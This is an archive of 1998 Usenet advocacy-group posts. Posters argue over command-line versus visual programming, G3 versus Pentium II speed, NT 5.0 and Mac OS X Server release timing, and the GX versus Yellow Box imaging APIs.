Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 15 Sep 1998 23:37:18 -0500
Organization: (none)
Message-ID: <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com>
In article <6tkdm3$dgb@news1.panix.com>, sal@panix.com wrote:
| I will not preach the CLI gospel. If I am asked to teach the shell, I
| will. As of yet, no one, out of hundred of clients in over ten years
| of working with accountants, analysts, actuaries, traders and brokers;
| has asked. THEY DON'T CARE.
And I work with people whose business it is to process text, and not one
of them has ever asked me to explain regular expressions to them. This
doesn't mean that they wouldn't be better off knowing what regular
expressions were and what they could do with them: it just means that
they're not in possession of knowledge that could help them.
It isn't that they don't care: it's that THEY DON'T EVEN KNOW WHAT
TOOLS COULD HELP THEM MOST, and if you wait for them to ask, you'll
be waiting a long time. If your job is to help them do whatever they
do as best they can with means they may not know enough to ask about,
and you don't do that, then you're just failing in your job.
| I greatly prefer manual transmissions to automatic transmissions, that
| doesn't mean that I'm going to tell everyone to learn to drive stick.
| Most people care more about getting from point A to point B then how
| they are going to get from point A to point B.
|
| It isn't a question of them being "non-Anointed" it is a question of
| them not giving a shit about CLIs.
This is a sort of lame analogy, but let's run with it a little anyway.
Let's say your clients are really interested in performance. For the
sake of analogy, let's say they're race car drivers who use automatic
transmissions for some reason. If they hire you to help improve their
performance, and you don't point out that they really ought to be
using manual transmissions instead, then you just aren't really giving
them very good advice, are you?
From: Rob McG <rmcgcreative@SPAMFREE.yahoo.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 12:00:40 GMT
Organization: AT&T WorldNet Services
Message-ID: <35FFA8EC.27ED@SPAMFREE.yahoo.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Steve Sullivan wrote:
> Really? Then why is it that Apple's internal engineers did extensive
> testing with 15 photoshop filters and found a g3 266 is only %30 faster
> than a p2 266?
ONLY 30%? Now the argument shifts again. I thought all you Windoze
lemmings said the G3 was slower? Now here it is ONLY 30% faster. If the
30% had come out in your favor you would be posting flames so fast your
fingers would catch fire. But now the G3 sucks because it is ONLY 30%
faster.
"The foot is more noble than the shoe, and skin more beautiful that the
garment with which it is clothed" - Michelangelo
>
> Remove SPAMFREE. from email address to reply!
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 14:14:21 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6toh3t$3ec@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6tocou$r66$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>Arun Gupta continues to post articles doubting the timely
>shipment of NT 5.0, despite betas far more numerous than Rhapsody's.
I'm aware of only two public betas for NT 5.0; with a third one
to be shipped on some not-yet-announced date. It doesn't sound
like "far more numerous". Apple doesn't have the massive public beta
programs that Microsoft loves; I wonder if there will be anything
more public than Rhapsody DR1, DR2 etc.
The similarity in the situation between NT 5.0 and MacOS X Server,
is, of course, that neither company has committed to a ship date.
-arun gupta
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 22:27:30 +1000
Organization: University of Queensland
Message-ID: <6toan2$hdp$1@bunyip.cc.uq.edu.au>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com>
Rob McG <rmcgcreative@SPAMFREE.yahoo.com> wrote in message
35FFA8EC.27ED@SPAMFREE.yahoo.com...
>Steve Sullivan wrote:
>
>> Really? Then why is it that Apple's internal engineers did extensive
>> testing with 15 photoshop filters and found a g3 266 is only %30 faster
>> than a p2 266?
>
>ONLY 30%? Now the argument shifts again. I thought all you Windoze
>lemmings said the G3 was slower? Now here it is ONLY 30% faster. If the
>30% had come out in your favor you would be posting flames so fast your
>fingers would catch fire. But now the G3 sucks because it is ONLY 30%
>faster.
Huh ? When have any of us claimed a G3 at the same clock is *slower* than a
pII on average ? The G3 is a faster chip, no-one is arguing that - it's the
the people who try to make out it's 2x faster _on average_ or in more than a
few very specialised areas we don't like.
>
>"The foot is more noble than the shoe, and skin more beautiful that the
>garment with which it is clothed" - Michelangelo
>>
>> Remove SPAMFREE. from email address to reply!
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <6toan2$hdp$1@bunyip.cc.uq.edu.au>
Subject: Re: What we need from Mac OSuX
Message-ID: <ZpOL1.408$2M.663946@newsfeed.slurp.net>
Date: Wed, 16 Sep 1998 05:47:58 +0100
NNTP-Posting-Date: Wed, 16 Sep 1998 07:45:45 CDT
Organization: Slurp News Feeds
Christopher Smith wrote in message <6toan2$hdp$1@bunyip.cc.uq.edu.au>...
>The G3 is a faster chip, no-one is arguing that
I would. Show me any bechmark besides ByteMark that proves otherwise.
PC/Computing and ZDnet proved that Apple used a benchmark that was optimized
for the PPC code, and compared it to a PC version that was optimized for a
allmost 10 year old 486. After they optimized the code for the PII and
Celeron chips, they the G3 came out slightly slower (comparing machines of
the same cost). When cmoparing the PII 400 and 450MHz to the G3 300-350MHz,
the PII chips were "much" faster then any G3 Apple has to offer.
Dan
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 08:53:13 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35FFC2C9.92F5264F@nstar.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <6tj90l$dqf$1@cronkite.cs.umd.edu> <APnL1.345$ey.323924@newsfeed.slurp.net> <6tm392$kmv$1@cronkite.cs.umd.edu> <35FE94D7.5072AB44@nstar.net> <6toecp$fds$1@cronkite.cs.umd.edu>
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Sean Luke wrote:
> As my statement above didn't use the word "monopoly" once, how again am I
> mistaken?
Did you make these remarks within a context, or were you just expositing
on matters in general? I thought we were discussing the following:
> vapor (antwun@yahoo.com) wrote:
> : smileyy@ix.netcom.com (Andrew McCormick) wrote:
>
> : >Apple wouldn't even bother suing. They'd just break support for the OS
> : >with each motherboard revision.
>
> : Jesus, and they say Microsoft uses monopolistic tactics.
>
> As Apple doesn't remotely have a monopoly on either operating systems or
> motherboards, "monopolistic tactics" is somewhat far-fetched.
>
> Sean Luke
> seanl@cs.umd.edu
</quote>
> Careful there, Mike. As copier service is a vertical market, the service
> industry most certainly is a customer of Kodak's.
That's so off-track I almost laughed. The issue is whether or not
certain copier service companies were allowed to compete with Kodak for
service contracts on Kodak copiers. These service companies were *not*
Kodak's customers if they couldn't buy the part in question.
If I build PC clones I may be Micron's competitor. If I buy Micron
motherboards for my clones I may *also* be Micron's customer. Don't get
the two issues confused.
MJP
From: Rob McG <rmcgcreative@SPAMFREE.yahoo.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 14:58:14 GMT
Organization: AT&T WorldNet
Message-ID: <35FF99E0.218D6518@SPAMFREE.yahoo.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <6toan2$hdp$1@bunyip.cc.uq.edu.au> <ZpOL1.408$2M.663946@newsfeed.slurp.net>
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Dan wrote:
> Christopher Smith wrote in message <6toan2$hdp$1@bunyip.cc.uq.edu.au>...
>
> >The G3 is a faster chip, no-one is arguing that
>
> I would. Show me any bechmark besides ByteMark that proves otherwise.
>
> PC/Computing and ZDnet proved that Apple used a benchmark that was optimized
> for the PPC code, and compared it to a PC version that was optimized for a
> allmost 10 year old 486. After they optimized the code for the PII and
> Celeron chips, they the G3 came out slightly slower (comparing machines of
> the same cost). When cmoparing the PII 400 and 450MHz to the G3 300-350MHz,
> the PII chips were "much" faster then any G3 Apple has to offer.
>
> Dan
How many billionths of a second are we actually talking about here? A 200%
speed gain over something that takes a nanosecond is hardly going to make a
difference in the average user's computing experience. Like anything else,
depending on who is doing the testing and who you actually want to believe, you
can find the results that match your actual mindset. Here you compare chips
that have a 100MHz clockspeed difference. Yet many other posts in this group
only compare same clock speeds when it suits their flame needs. The problem is
not with people like you and I who know what the difference is, it is with the
poor average Joe who buys most of them. He doesn't know his Intel from his
Arthur, just the lies perpetrated by BOTH groups and the lame ads by BOTH
groups he sees on teevee. "I guess I need and Intel machine because those guys
in the colorful suits have a much cooler RV than anything I've seen from
Apple!" is no way to make this purchasing decision. Again, as I have said in
other posts...if the machine works FOR YOU and you like the way it works, then
it is probably the best machine. FOR YOU.
--
"The foot is more noble than the shoe, and skin more beautiful that the garment
with which it is clothed" - Michelangelo
Remove SPAMFREE. from email address to reply!
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 14:22:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tohib$3eo@newsb.netnews.att.com>
References: <35f981c1.4716408@news.alt.net> <35FEC87E.D36A6CA0@nstar.net> <6tmm88$1k7@newsb.netnews.att.com> <rmcassid-1509981638450001@hephaestus.eng.uci.edu>
Originator: gupta@tlctest
Robert Cassidy <rmcassid@uci.edu> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>>Since the opinion of most people in the IT business appears to
>>be that moving to an all Intel/Windows platform saves money over
>>not moving, the anti-trust arguments do not apply, no matter
>>what the threshold is.
>Doesn't it depend on the basis of that opinion? I don't recall any of the
>new customers of Standard Oil raising complaints either, as their prices
>dropped as well. It's a case where the near-term opinion of the customers
>does not carry the final verdict. The issue must be balanced against the
>opinions of the competition and on the long-term effect of the market
>domination.
Certainly, it is the long-term that counts. The point, however, is that
given the present market perception, Apple is not in a position to
dictate prices.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
Organization: none
References: <EzCMLy.K2I@T-FCN.Net> <B2246B41-7AAB@206.165.43.43>
Mime-Version: 1.0
Date: Wed, 16 Sep 1998 14:44:19 GMT
In <B2246B41-7AAB@206.165.43.43> "Lawson English" wrote:
> Really? Where? I downloaded the PDF version of the AppKit docs and couldn't
> find it. Perhaps a better pointer?
It's in the documents you downloaded then.
> So the API makes a distinction between bitmaps and vectors? How odd.
They don't call it "NSImage" for nothing.
Maury
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Wed, 16 Sep 1998 21:38:48 -0500
Organization: Ericsson Inc.
Message-ID: <36007638.23CDD81F@exu.ericsson.se>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6tocou$r66$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toh3t$3ec@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> I'm aware of only two public betas for NT 5.0; with a third one
> to be shipped on some not-yet-announced date. It doesn't sound
> like "far more numerous".
It certainly is. Far more developers have worked with NT betas than with
Rhapsody DR2. Far more periodicals have evaluated and reviewed the
product. NT beta isn't under NDA, eh?
> Apple doesn't have the massive public beta
> programs that Microsoft loves; I wonder if there will be anything
> more public than Rhapsody DR1, DR2 etc.
Isn't CR1 supposed to be fairly public? And wasn't it supposed to ship
sometime in Q1, and then Q3?
> The similarity in the situation between NT 5.0 and MacOS X Server,
> is, of course, that neither company has committed to a ship date.
MJP
Those living in glass houses shouldn't throw stones.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1609981247100001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com> <35F87337.D69A6436@nstar.net> <heaney-1109980117350001@24.0.246.137> <6tbj44$de$2@nnrp03.primenet.com> <*johnnyc*-1509980955000001@jchristie.halifaxcable.dal.ca> <6tlr5v$95c$1@nnrp02.primenet.com> <heaney-1509981559380001@24.0.246.137> <SCOTT.98Sep15230555@slave.doubleu.com>
Organization: Solid Object Software
Date: Wed, 16 Sep 1998 16:38:06 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 09:38:06 PDT
In article <SCOTT.98Sep15230555@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <heaney-1509981559380001@24.0.246.137>,
> heaney@SolidObject.com (John Heaney) writes:
> Text is used primarily in programming because it is a legacy. It
> will eventually go the way of the Dodo, but hasn't yet because it
> is very difficult to get programmers to move to something brand
> new.
>
> "Speech is primarily used in communication because it is a legacy. It
> will eventually go the way of the Dodo, but hasn't yet because it
> is very difficult to get speakers to move to something different like
> writing, though writing is clearly better."
Excuse me? You don't really believe this, do you? Speech is clearly better
than writing because it has a higher bandwidth, espcially when the
audience is present in person. Even audio only is is superior to writing,
if the speaker has even a modocum of inflection. Now, writing is superior
as a data storage medium, which has the benefit of reference. So, in
certain contexts, writing is a better solution. I find your assertion to
be completely false.
> "Writing is primarily used in communication because it is a
> legacy...it is very difficult to get writers to move to something
> different like drawing, though drawing is clearly better."
Actually, illustration are often mixed in with text because they are
superior for communicating certain concepts. It's also interesting to note
that relationships are one of those areas where illustration excells.
Since programming is all about relationships (between operations, between
objects, between classes, etc.), drawing excells at communicating
programming. You will hardly be able to find a description of a system
that does not include diagrams. One of the first things that any
programmer is formally taught is flowcharting. But then they abandon it at
the first opportunity because there are no tools that allow a programmer
to draw a flowchart without then having to translate that flowchart into a
text based language. The result is that programmers become adept at pseudo
code, which is a crude form of flowcharting. This is the legacy issue.
BTW, you can't extend this to all writing. Narrative is often impossible
to replace with graphics. The best illustrations can do is better describe
the Euclidean aspects of a scene and other relevant details of this type.
Dialog is almost impossible to illustrate. Again, I find you're assertion
to be false, in general.
>
> Of course, we're also stuck with Windows. Maybe I'm being too
> optimistic. :/
>
> I think in the Windows case, you're being too optimistic, but you're
> being optimistic for good reasons, and I'm right in there with you.
> In the "textual versus visual programming" case, I think you're being
> too optimistic, but the target of your optimism is somewhat
> questionable. Textual programming works _DAMN_ well for a wide
> variety of problems. Just because we can invent problems that visual
> programming works better for doesn't mean that textual programming is
> a loss.
>
> Nor does the fact that there are probably problems that textual
> programming works better for mean that visual programming is a loss.
> The right tool for the job. Life may very well be better when 90% of
> programming is done in a visual language - but it's doubtful that
> we'll ever come close to 100% at any point. And I can guarantee that
> any visual language which doesn't allow you to at least capture the
> spirit of a textual paragraph or two is not going to make it far.
> IMHO you don't necessarily need C++ support - but you absolutely need
> support for something that lets you drop down and get something done.
Granted that I was speaking in hyperbole. Text based languages will not
really go the way of the Dodo, any more than Assembly language programming
has. Clearly, most programmers don't bother with Assembly language
anymore. You're also correct that a visual language environment must allow
you to drop into text for various things. For example, Prograph allows you
to run C functions through a tool that packages it as an global function
in the environment. This is how the Mac toolbox shows up. Interestingly,
the Windows version of Prograph CPX takes this a step further. You can
actually drop into a C environment, write a function, compile it and
return to your project and start working with the new function in
Prograph.
In my multimedia application, I wrote one function for a bit dissolve and
a few functions to support color table manipluations. This was the only
text based programming (that I did) in the application. I could have done
even this in Prograph, but the dissolves would have been excruciatingly
slow. I did actually code the color table stuff in Prograph first, but
being a dataflow language made unpacking all those nested structures quite
slow. I could have done it using integer math functions to do the pointer
calculations, but it would have been difficult to read. Note that the
reason for using text was a function of performance, not expressive
capability of graphical programming. An alternative flowcharting
methodology could have yielded more efficient results.
Kurt Schmucker, who was instumental in the development of MacApp and still
works at Apple, has been a big proponent of Prograph. He wrote many of the
MacApp examples and redid many of them in Prograph. He found, much to his
surprise, that some of the Prograph examples ran faster. (It's an amusing
story because he discovered this while doing a demo of Prograph for a
bunch of programmers at ATG.) This wasn't because Prograph produced faster
code because it doesn't. It was because the framework was more efficent at
doing this particular (GUI related) task, which just goes to show that as
applications get more complex, it is the expression of the design that is
more important than the implementation. In this context, the graphical
programming languages will supercede the text based languages over time.
It was with this in mind that another colleague quipped, "Using C for
application development is a premature optimization." I believe this
wholeheartedly.
> [I'm thinking the programming equivalent of drawing a picture for
> "Push the blue button." Even if you can draw a blue button, something
> like "push" is generally easier to convey with words than with
> drawings. I _hate_ when someone has a set of pictures to describe an
> operation, and insist on making all steps pictures, even when one of
> them would be significantly clearer if they just said what they meant.
> That's using the wrong tool for the job.]
The GUI does not replace text; it puts it in context. Most dialogs have
buttons with text labels. The more important aspect of the button is that
it represents a control object that is easily understood by the user. It's
mere presence alerts the user that clicking on it is an option.
I really don't see anyone on this thread disputing the usefulness of the
CLI for certain tasks. It's the details of the dissemination of the CLI
that is at issue. I think it is clearly in the domain of the programmer
and should be an element of a development configuration. That's the only
real argument of any merit in this thread. All the other stuff is academic
discourse and should be a source of education; not argument. The CLI crowd
seems to have dismissed graphical programming (or scripting) before it has
had a chance. I'm trying to alert them that graphical programming has
already evolved much further than they realize and will continue to
evolve.
Newsgroups: comp.sys.next.advocacy
Date: Tue, 15 Sep 1998 21:01:07 -0700
Message-ID: <35FF37B7.4788FDA8@starwave.com>
From: Dayne Miller <dayne.miller@starwave.com>
MIME-Version: 1.0
Subject: simple question
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Does Mac OS X Server (MOSXS???) still support multiple-item selection,
in the same manner that OPENSTEP does? Specifically, I value the ability
to select multiple, non-contiguous items and have them represented as a
single icon on the shelf, to delete, copy, move, drop onto an app, etc.
And to have more than one of those multi-item selections available at
the same time.
I realize I can probably find this out for myself in a few weeks...
Thanks-
-Dayne Miller
dayne.miller@starwave.com
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Wed, 16 Sep 1998 23:25:57 -0500
Organization: Ericsson Inc.
Message-ID: <36008F55.1180C591@exu.ericsson.se>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com> <6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
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Charles W. Swiger wrote:
> They did, of course, ship a NUMA AMP (non-uniform memory architecture
> asymmetric multiprocessing...which is about as close to techobabble as I like
> to come) version-- the NeXT Dimension system.
Chuck, what does it mean that it's "asymmetric"? Do you have any Web
references to NUMA-style architectures?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 16 Sep 98 09:52:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2253AF9-8135C@206.165.43.141>
References: <EzDsxw.1z9@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2246B41-7AAB@206.165.43.43> "Lawson English" wrote:
>> Really? Where? I downloaded the PDF version of the AppKit docs and
>couldn't
>> find it. Perhaps a better pointer?
>
> It's in the documents you downloaded then.
>
>> So the API makes a distinction between bitmaps and vectors? How odd.
>
> They don't call it "NSImage" for nothing.
But the color-space manipulation API should be the same for both bitmap and
vector/text, and in fact, I couldnt' find any mention of a different API
for bitmaps.
Where did you find evidence that there's a per-color-channel manipulation
of bitmaps in this documentation? There's certainly no evidence of any easy
way to access the color space of a bitmap (or vector) on a per-pixel
[irrelevant with vector, although built-in support for the color ramps of
PS 3 would be good], per-color-channel basis which you appear to be
claiming is the case for bitmaps, at least in the documentation available
online or that I downloaded.
Here's a fun little gem that I DID find in the documentation:
"When printing, the compositing methods do not composite, but attempt to
render the same image on the page that compositing would render on the
screen, choosing the best available representation for the printer.
The op argument is ignored."
Why is the op argument ignored?
With GX, if I chose to create a bitmap shape with a clip shape attached
that is the words "GX is kool" in 24 point and overlay it over the original
bitmap, but shifted 25 points to the right and down, with a transparency of
25% for the overlay image's R value, and 17.5% of the G-value XORed with
the B-value of the destination, while the full B-value of the source is
ADDed to 15% of the alpha channel of the destination, as well as 15% of the
B-value is copied on top of the G-value of the destination, this is trivial
to accomplish. It is a "Hello World" level image.
No programming outside calls to the built-in API is necessary and only a
few lines of code create the above image: just create the bitmap and add
two instances of it to a picture shape, one with overriding transform and
ink objects with the appropriate values set, and one without.
If I want to change the bitmap in both places, I just draw into the
original bitmap shape and everything is taken care of for me and the
appearance automatically changes in both the quasi-transparent
overlay-with-text-clip and the background bitmap when I redraw using
"GXDrawShape(pictureshape)".
When I print, the GX printing architecture, old or new, handles the
non-opaque compositing operations for me when either translating them into
PS or printing the bitmap (dending on who was in charge at Apple when the
library was created) sent to the printer.
I certainly hope that this capability is brought back in MacOS X because it
provides capabilities that are lightyears beyond what I've seen in all but
the high-end of commercial graphics apps.
And HyperCard can do it, too.
But the currently documented Yellow Box API can't do it out-of-the-box.
But no-one would ever want to do this, eh?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Wed, 16 Sep 1998 22:24:02 -0500
Organization: Ericsson Inc.
Message-ID: <360080D2.8389C025@exu.ericsson.se>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Moving goal posts, eh ? It has changed from number of betas to the
> number of people who have worked with the betas.
Moving in your mind. You never asked what I meant by "numerous betas".
I'm well aware of how many NT beta versions have been released. I said
nothing about different versions. In fact, I've never made a single
argument based on quantity of beta versions. Others have made much of
Copland's DR0, Rhapsody's DR1 and DR2, and NT's two beta versions. I
have never even mentioned them.
Once again, I encourage you to RTFT (read this fascinating thread).
> CR1, I assume, stands for the first customer release, i.e., it is the finished
> product and not the beta. Since we were talking about betas, public and
> private, how is CR1 relevant to that ?
I said nothing about Rhapsody betas. I mentioned Developer Releases and
Customer Releases. One assumes the difference is whether or not the
release is public. It has nothing to do with presenting a finished
product. Is CR1 supposed to be a shrink-wrapped, retail-sold product? I
have no idea. I assumed it was a public beta.
> And as I've already stated,
> there is no date announced for customer release of NT 5.0 or of
> MacOS X Server.
How does this strengthen your case? You have moved from credulity over
Rhapsody's eventual shipment to more comparisons between NT and MacOS X
Server. What is it with you and Windows NT? Why is it so important for
you to hang your pride on NT's demise? Why is it okay for Apple to slip
shipping dates as long as Microsoft does the same? For shame. Glass
houses.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 16:22:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6took8$poc@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com>
On 15 Sep 1998 15:19:35 GMT, Rob McG <rmcgcreative@SPAMFREE.yahoo.com> wrote:
>> What can be done on a Mac that can not be "reasonably replaced" by a Dell?
<<clip>>
>and starting the next file. Can Dell "reasonably" replace the Mac? That depends.
I made no statement on the quality of either product, only that both can
perform the same jobs and run the same software.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzE2As.Bso@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <EzDsxw.1z9@T-FCN.Net> <B2253AF9-8135C@206.165.43.141>
Mime-Version: 1.0
Date: Wed, 16 Sep 1998 18:06:27 GMT
In <B2253AF9-8135C@206.165.43.141> "Lawson English" wrote:
> But the color-space manipulation API should be the same for both bitmap and
> vector/text
But it's not in this case. Read over the WWDC notes, this is one of the
(many) changes being made.
, and in fact, I couldnt' find any mention of a different API
> for bitmaps.
That's because it only works on bitmaps.
> Where did you find evidence that there's a per-color-channel manipulation
> of bitmaps in this documentation?
I didn't. I never claimed there was one.
> "When printing, the compositing methods do not composite, but attempt to
